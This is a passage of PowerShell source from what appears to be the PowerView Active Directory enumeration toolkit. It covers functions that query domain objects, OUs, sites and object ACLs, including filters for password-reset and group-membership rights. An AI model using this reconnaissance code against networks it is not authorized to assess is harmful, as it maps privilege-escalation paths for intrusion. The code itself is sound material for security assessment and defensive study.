4232 $Domain,
4233
4234 [ValidateNotNullOrEmpty()]
4235 [Alias('Filter')]
4236 [String]
4237 $LDAPFilter,
4238
4239 [ValidateNotNullOrEmpty()]
4240 [String[]]
4241 $Properties,
4242
4243 [ValidateNotNullOrEmpty()]
4244 [Alias('ADSPath')]
4245 [String]
4246 $SearchBase,
4247
4248 [ValidateNotNullOrEmpty()]
4249 [Alias('DomainController')]
4250 [String]
4251 $Server,
4252
4253 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4254 [String]
4255 $SearchScope = 'Subtree',
4256
4257 [ValidateRange(1, 10000)]
4258 [Int]
4259 $ResultPageSize = 200,
4260
4261 [ValidateRange(1, 10000)]
4262 [Int]
4263 $ServerTimeLimit,
4264
4265 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
4266 [String]
4267 $SecurityMasks,
4268
4269 [Switch]
4270 $Tombstone,
4271
4272 [Alias('ReturnOne')]
4273 [Switch]
4274 $FindOne,
4275
4276 [Management.Automation.PSCredential]
4277 [Management.Automation.CredentialAttribute()]
4278 $Credential = [Management.Automation.PSCredential]::Empty,
4279
4280 [Switch]
4281 $Raw
4282 )
4283
4284 DynamicParam {
4285 $UACValueNames = [Enum]::GetNames($UACEnum)
4286 # add in the negations
4287 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
4288 # create new dynamic parameter
4289 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
4290 }
4291
4292 BEGIN {
4293 $SearcherArguments = @{}
4294 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4295 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
4296 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4297 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4298 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4299 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4300 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4301 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
4302 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4303 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4304 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
4305 }
4306
4307 PROCESS {
4308 #bind dynamic parameter to a friendly variable
4309 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
4310 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
4311 }
4312 if ($ObjectSearcher) {
4313 $IdentityFilter = ''
4314 $Filter = ''
4315 $Identity | Where-Object {$_} | ForEach-Object {
4316 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
4317 if ($IdentityInstance -match '^S-1-') {
4318 $IdentityFilter += "(objectsid=$IdentityInstance)"
4319 }
4320 elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
4321 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
4322 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
4323 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
4324 # and rebuild the domain searcher
4325 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
4326 Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
4327 $SearcherArguments['Domain'] = $IdentityDomain
4328 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
4329 if (-not $ObjectSearcher) {
4330 Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
4331 }
4332 }
4333 }
4334 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
4335 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
4336 $IdentityFilter += "(objectguid=$GuidByteString)"
4337 }
4338 elseif ($IdentityInstance.Contains('\')) {
4339 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
4340 if ($ConvertedIdentityInstance) {
4341 $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
4342 $ObjectName = $IdentityInstance.Split('\')[1]
4343 $IdentityFilter += "(samAccountName=$ObjectName)"
4344 $SearcherArguments['Domain'] = $ObjectDomain
4345 Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
4346 $ObjectSearcher = Get-DomainSearcher @SearcherArguments
4347 }
4348 }
4349 elseif ($IdentityInstance.Contains('.')) {
4350 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
4351 }
4352 else {
4353 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
4354 }
4355 }
4356 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
4357 $Filter += "(|$IdentityFilter)"
4358 }
4359
4360 if ($PSBoundParameters['LDAPFilter']) {
4361 Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
4362 $Filter += "$LDAPFilter"
4363 }
4364
4365 # build the LDAP filter for the dynamic UAC filter value
4366 $UACFilter | Where-Object {$_} | ForEach-Object {
4367 if ($_ -match 'NOT_.*') {
4368 $UACField = $_.Substring(4)
4369 $UACValue = [Int]($UACEnum::$UACField)
4370 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
4371 }
4372 else {
4373 $UACValue = [Int]($UACEnum::$_)
4374 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
4375 }
4376 }
4377
4378 if ($Filter -and $Filter -ne '') {
4379 $ObjectSearcher.filter = "(&$Filter)"
4380 }
4381 Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
4382
4383 if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
4384 else { $Results = $ObjectSearcher.FindAll() }
4385 $Results | Where-Object {$_} | ForEach-Object {
4386 if ($PSBoundParameters['Raw']) {
4387 # return raw result objects
4388 $Object = $_
4389 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
4390 }
4391 else {
4392 $Object = Convert-LDAPProperty -Properties $_.Properties
4393 $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
4394 }
4395 $Object
4396 }
4397 if ($Results) {
4398 try { $Results.dispose() }
4399 catch {
4400 Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
4401 }
4402 }
4403 $ObjectSearcher.dispose()
4404 }
4405 }
4406}
4407
4408function Get-DomainObjectAcl {
4409
4410
4411 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4412 [OutputType('PowerView.ACL')]
4413 [CmdletBinding()]
4414 Param (
4415 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4416 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
4417 [String[]]
4418 $Identity,
4419
4420 [Switch]
4421 $Sacl,
4422
4423 [Switch]
4424 $ResolveGUIDs,
4425
4426 [String]
4427 [Alias('Rights')]
4428 [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
4429 $RightsFilter,
4430
4431 [ValidateNotNullOrEmpty()]
4432 [String]
4433 $Domain,
4434
4435 [ValidateNotNullOrEmpty()]
4436 [Alias('Filter')]
4437 [String]
4438 $LDAPFilter,
4439
4440 [ValidateNotNullOrEmpty()]
4441 [Alias('ADSPath')]
4442 [String]
4443 $SearchBase,
4444
4445 [ValidateNotNullOrEmpty()]
4446 [Alias('DomainController')]
4447 [String]
4448 $Server,
4449
4450 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4451 [String]
4452 $SearchScope = 'Subtree',
4453
4454 [ValidateRange(1, 10000)]
4455 [Int]
4456 $ResultPageSize = 200,
4457
4458 [ValidateRange(1, 10000)]
4459 [Int]
4460 $ServerTimeLimit,
4461
4462 [Switch]
4463 $Tombstone,
4464
4465 [Management.Automation.PSCredential]
4466 [Management.Automation.CredentialAttribute()]
4467 $Credential = [Management.Automation.PSCredential]::Empty
4468 )
4469
4470 BEGIN {
4471 $SearcherArguments = @{
4472 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
4473 }
4474
4475 if ($PSBoundParameters['Sacl']) {
4476 $SearcherArguments['SecurityMasks'] = 'Sacl'
4477 }
4478 else {
4479 $SearcherArguments['SecurityMasks'] = 'Dacl'
4480 }
4481 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4482 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4483 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4484 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4485 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4486 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4487 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4488 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4489 $Searcher = Get-DomainSearcher @SearcherArguments
4490
4491 $DomainGUIDMapArguments = @{}
4492 if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
4493 if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
4494 if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
4495 if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
4496 if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
4497
4498 # get a GUID -> name mapping
4499 if ($PSBoundParameters['ResolveGUIDs']) {
4500 $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
4501 }
4502 }
4503
4504 PROCESS {
4505 if ($Searcher) {
4506 $IdentityFilter = ''
4507 $Filter = ''
4508 $Identity | Where-Object {$_} | ForEach-Object {
4509 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
4510 if ($IdentityInstance -match '^S-1-.*') {
4511 $IdentityFilter += "(objectsid=$IdentityInstance)"
4512 }
4513 elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
4514 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
4515 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
4516 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
4517 # and rebuild the domain searcher
4518 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
4519 Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
4520 $SearcherArguments['Domain'] = $IdentityDomain
4521 $Searcher = Get-DomainSearcher @SearcherArguments
4522 if (-not $Searcher) {
4523 Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
4524 }
4525 }
4526 }
4527 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
4528 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
4529 $IdentityFilter += "(objectguid=$GuidByteString)"
4530 }
4531 elseif ($IdentityInstance.Contains('.')) {
4532 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
4533 }
4534 else {
4535 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
4536 }
4537 }
4538 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
4539 $Filter += "(|$IdentityFilter)"
4540 }
4541
4542 if ($PSBoundParameters['LDAPFilter']) {
4543 Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
4544 $Filter += "$LDAPFilter"
4545 }
4546
4547 if ($Filter) {
4548 $Searcher.filter = "(&$Filter)"
4549 }
4550 Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
4551
4552 $Results = $Searcher.FindAll()
4553 $Results | Where-Object {$_} | ForEach-Object {
4554 $Object = $_.Properties
4555
4556 if ($Object.objectsid -and $Object.objectsid[0]) {
4557 $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
4558 }
4559 else {
4560 $ObjectSid = $Null
4561 }
4562
4563 try {
4564 New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
4565 if ($PSBoundParameters['RightsFilter']) {
4566 $GuidFilter = Switch ($RightsFilter) {
4567 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
4568 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
4569 Default { '00000000-0000-0000-0000-000000000000' }
4570 }
4571 if ($_.ObjectType -eq $GuidFilter) {
4572 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
4573 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
4574 $Continue = $True
4575 }
4576 }
4577 else {
4578 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
4579 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
4580 $Continue = $True
4581 }
4582
4583 if ($Continue) {
4584 $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
4585 if ($GUIDs) {
4586 # if we're resolving GUIDs, map them them to the resolved hash table
4587 $AclProperties = @{}
4588 $_.psobject.properties | ForEach-Object {
4589 if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
4590 try {
4591 $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
4592 }
4593 catch {
4594 $AclProperties[$_.Name] = $_.Value
4595 }
4596 }
4597 else {
4598 $AclProperties[$_.Name] = $_.Value
4599 }
4600 }
4601 $OutObject = New-Object -TypeName PSObject -Property $AclProperties
4602 $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
4603 $OutObject
4604 }
4605 else {
4606 $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
4607 $_
4608 }
4609 }
4610 }
4611 }
4612 catch {
4613 Write-Verbose "[Get-DomainObjectAcl] Error: $_"
4614 }
4615 }
4616 }
4617 }
4618}
4619
4620function Get-DomainOU {
4621
4622 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4623 [OutputType('PowerView.OU')]
4624 [CmdletBinding()]
4625 Param (
4626 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4627 [Alias('Name')]
4628 [String[]]
4629 $Identity,
4630
4631 [ValidateNotNullOrEmpty()]
4632 [String]
4633 [Alias('GUID')]
4634 $GPLink,
4635
4636 [ValidateNotNullOrEmpty()]
4637 [String]
4638 $Domain,
4639
4640 [ValidateNotNullOrEmpty()]
4641 [Alias('Filter')]
4642 [String]
4643 $LDAPFilter,
4644
4645 [ValidateNotNullOrEmpty()]
4646 [String[]]
4647 $Properties,
4648
4649 [ValidateNotNullOrEmpty()]
4650 [Alias('ADSPath')]
4651 [String]
4652 $SearchBase,
4653
4654 [ValidateNotNullOrEmpty()]
4655 [Alias('DomainController')]
4656 [String]
4657 $Server,
4658
4659 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4660 [String]
4661 $SearchScope = 'Subtree',
4662
4663 [ValidateRange(1, 10000)]
4664 [Int]
4665 $ResultPageSize = 200,
4666
4667 [ValidateRange(1, 10000)]
4668 [Int]
4669 $ServerTimeLimit,
4670
4671 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
4672 [String]
4673 $SecurityMasks,
4674
4675 [Switch]
4676 $Tombstone,
4677
4678 [Alias('ReturnOne')]
4679 [Switch]
4680 $FindOne,
4681
4682 [Management.Automation.PSCredential]
4683 [Management.Automation.CredentialAttribute()]
4684 $Credential = [Management.Automation.PSCredential]::Empty,
4685
4686 [Switch]
4687 $Raw
4688 )
4689
4690 BEGIN {
4691 $SearcherArguments = @{}
4692 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4693 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
4694 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4695 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4696 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4697 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4698 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4699 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
4700 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4701 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4702 $OUSearcher = Get-DomainSearcher @SearcherArguments
4703 }
4704
4705 PROCESS {
4706 if ($OUSearcher) {
4707 $IdentityFilter = ''
4708 $Filter = ''
4709 $Identity | Where-Object {$_} | ForEach-Object {
4710 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
4711 if ($IdentityInstance -match '^OU=.*') {
4712 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
4713 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
4714 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
4715 # and rebuild the domain searcher
4716 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
4717 Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
4718 $SearcherArguments['Domain'] = $IdentityDomain
4719 $OUSearcher = Get-DomainSearcher @SearcherArguments
4720 if (-not $OUSearcher) {
4721 Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
4722 }
4723 }
4724 }
4725 else {
4726 try {
4727 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
4728 $IdentityFilter += "(objectguid=$GuidByteString)"
4729 }
4730 catch {
4731 $IdentityFilter += "(name=$IdentityInstance)"
4732 }
4733 }
4734 }
4735 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
4736 $Filter += "(|$IdentityFilter)"
4737 }
4738
4739 if ($PSBoundParameters['GPLink']) {
4740 Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
4741 $Filter += "(gplink=*$GPLink*)"
4742 }
4743
4744 if ($PSBoundParameters['LDAPFilter']) {
4745 Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
4746 $Filter += "$LDAPFilter"
4747 }
4748
4749 $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
4750 Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
4751
4752 if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
4753 else { $Results = $OUSearcher.FindAll() }
4754 $Results | Where-Object {$_} | ForEach-Object {
4755 if ($PSBoundParameters['Raw']) {
4756 # return raw result objects
4757 $OU = $_
4758 }
4759 else {
4760 $OU = Convert-LDAPProperty -Properties $_.Properties
4761 }
4762 $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
4763 $OU
4764 }
4765 if ($Results) {
4766 try { $Results.dispose() }
4767 catch {
4768 Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
4769 }
4770 }
4771 $OUSearcher.dispose()
4772 }
4773 }
4774}
4775
4776function Get-DomainSite {
4777
4778 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4779 [OutputType('PowerView.Site')]
4780 [CmdletBinding()]
4781 Param (
4782 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4783 [Alias('Name')]
4784 [String[]]
4785 $Identity,
4786
4787 [ValidateNotNullOrEmpty()]
4788 [String]
4789 [Alias('GUID')]
4790 $GPLink,
4791
4792 [ValidateNotNullOrEmpty()]
4793 [String]
4794 $Domain,
4795
4796 [ValidateNotNullOrEmpty()]
4797 [Alias('Filter')]
4798 [String]
4799 $LDAPFilter,
4800
4801 [ValidateNotNullOrEmpty()]
4802 [String[]]
4803 $Properties,
4804
4805 [ValidateNotNullOrEmpty()]
4806 [Alias('ADSPath')]
4807 [String]
4808 $SearchBase,
4809
4810 [ValidateNotNullOrEmpty()]
4811 [Alias('DomainController')]
4812 [String]
4813 $Server,
4814
4815 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4816 [String]
4817 $SearchScope = 'Subtree',
4818
4819 [ValidateRange(1, 10000)]
4820 [Int]
4821 $ResultPageSize = 200,
4822
4823 [ValidateRange(1, 10000)]
4824 [Int]
4825 $ServerTimeLimit,
4826
4827 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
4828 [String]
4829 $SecurityMasks,
4830
4831 [Switch]
4832 $Tombstone,
4833
4834 [Alias('ReturnOne')]
4835 [Switch]
4836 $FindOne,
4837
4838 [Management.Automation.PSCredential]
4839 [Management.Automation.CredentialAttribute()]
4840 $Credential = [Management.Automation.PSCredential]::Empty,
4841
4842 [Switch]
4843 $Raw
4844 )
4845
4846 BEGIN {
4847 $SearcherArguments = @{
4848 'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
4849 }
4850 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
4851 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
4852 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4853 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4854 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4855 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4856 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4857 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
4858 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4859 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4860 $SiteSearcher = Get-DomainSearcher @SearcherArguments
4861 }
4862
4863 PROCESS {
4864 if ($SiteSearcher) {
4865 $IdentityFilter = ''
4866 $Filter = ''
4867 $Identity | Where-Object {$_} | ForEach-Object {
4868 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
4869 if ($IdentityInstance -match '^CN=.*') {
4870 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
4871 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
4872 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
4873 # and rebuild the domain searcher
4874 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
4875 Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
4876 $SearcherArguments['Domain'] = $IdentityDomain
4877 $SiteSearcher = Get-DomainSearcher @SearcherArguments
4878 if (-not $SiteSearcher) {
4879 Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
4880 }
4881 }
4882 }
4883 else {
4884 try {
4885 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
4886 $IdentityFilter += "(objectguid=$GuidByteString)"
4887 }
4888 catch {
4889 $IdentityFilter += "(name=$IdentityInstance)"
4890 }
4891 }
4892 }
4893 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
4894 $Filter += "(|$IdentityFilter)"
4895 }
4896
4897 if ($PSBoundParameters['GPLink']) {
4898 Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
4899 $Filter += "(gplink=*$GPLink*)"
4900 }
4901
4902 if ($PSBoundParameters['LDAPFilter']) {
4903 Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
4904 $Filter += "$LDAPFilter"
4905 }
4906
4907 $SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
4908 Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
4909
4910 if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
4911 else { $Results = $SiteSearcher.FindAll() }
4912 $Results | Where-Object {$_} | ForEach-Object {
4913 if ($PSBoundParameters['Raw']) {
4914 # return raw result objects
4915 $Site = $_
4916 }
4917 else {
4918 $Site = Convert-LDAPProperty -Properties $_.Properties
4919 }
4920 $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
4921 $Site
4922 }
4923 if ($Results) {
4924 try { $Results.dispose() }
4925 catch {
4926 Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
4927 }
4928 }
4929 $SiteSearcher.dispose()
4930 }
4931 }
4932}
4933
4934function Get-DomainSubnet {
4935
4936
4937 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4938 [OutputType('PowerView.Subnet')]
4939 [CmdletBinding()]
4940 Param (
4941 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4942 [Alias('Name')]
4943 [String[]]
4944 $Identity,
4945
4946 [ValidateNotNullOrEmpty()]
4947 [String]
4948 $SiteName,
4949
4950 [ValidateNotNullOrEmpty()]
4951 [String]
4952 $Domain,
4953
4954 [ValidateNotNullOrEmpty()]
4955 [Alias('Filter')]
4956 [String]
4957 $LDAPFilter,
4958
4959 [ValidateNotNullOrEmpty()]
4960 [String[]]
4961 $Properties,
4962
4963 [ValidateNotNullOrEmpty()]
4964 [Alias('ADSPath')]
4965 [String]
4966 $SearchBase,
4967
4968 [ValidateNotNullOrEmpty()]
4969 [Alias('DomainController')]
4970 [String]
4971 $Server,
4972
4973 [ValidateSet('Base', 'OneLevel', 'Subtree')]
4974 [String]
4975 $SearchScope = 'Subtree',
4976
4977 [ValidateRange(1, 10000)]
4978 [Int]
4979 $ResultPageSize = 200,
4980
4981 [ValidateRange(1, 10000)]
4982 [Int]
4983 $ServerTimeLimit,
4984
4985 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
4986 [String]
4987 $SecurityMasks,
4988
4989 [Switch]
4990 $Tombstone,
4991
4992 [Alias('ReturnOne')]
4993 [Switch]
4994 $FindOne,
4995
4996 [Management.Automation.PSCredential]
4997 [Management.Automation.CredentialAttribute()]
4998 $Credential = [Management.Automation.PSCredential]::Empty,
4999
5000 [Switch]
5001 $Raw
5002 )
5003
5004 BEGIN {
5005 $SearcherArguments = @{
5006 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
5007 }
5008 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5009 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
5010 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5011 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5012 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5013 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5014 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5015 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
5016 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5017 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5018 $SubnetSearcher = Get-DomainSearcher @SearcherArguments
5019 }
5020
5021 PROCESS {
5022 if ($SubnetSearcher) {
5023 $IdentityFilter = ''
5024 $Filter = ''
5025 $Identity | Where-Object {$_} | ForEach-Object {
5026 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
5027 if ($IdentityInstance -match '^CN=.*') {
5028 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
